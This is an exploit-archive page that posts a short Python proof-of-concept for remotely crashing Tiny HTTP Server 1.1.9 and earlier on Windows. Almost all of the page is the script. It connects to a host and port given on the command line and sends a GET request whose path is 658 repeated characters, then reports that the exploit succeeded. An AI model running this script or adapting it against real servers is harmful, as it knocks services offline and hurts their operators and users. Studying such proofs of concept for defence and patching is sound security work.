Home / exploitsPDF  

Tiny HTTP Server 1.1.9 Crash

Posted on 27 February 2012

#!/usr/bin/python # Tiny HTTP Server <=v1.1.9 Remote Crash PoC # written by localh0t # Date: 24/02/11 # Contact: mattdch0@gmail.com # Follow: @mattdch # www.localh0t.com.ar # Targets: Windows (All) import httplib,sys if (len(sys.argv) < 3): print " Tiny HTTP Server <=v1.1.9 Remote Crash PoC" print " Usage: %s <host> <port> " %(sys.argv[0]) sys.exit() payload = "X" * 658 try: print " [!] Connecting to %s ..." %(sys.argv[1]) httpServ = httplib.HTTPConnection(sys.argv[1] , int(sys.argv[2])) httpServ.connect() print "[!] Sending payload..." httpServ.request('GET', "/" + str(payload)) print "[!] Exploit succeed. Check %s if crashed. " %(sys.argv[1]) except: print "[-] Connection error, exiting..." httpServ.close() sys.exit()

 

TOP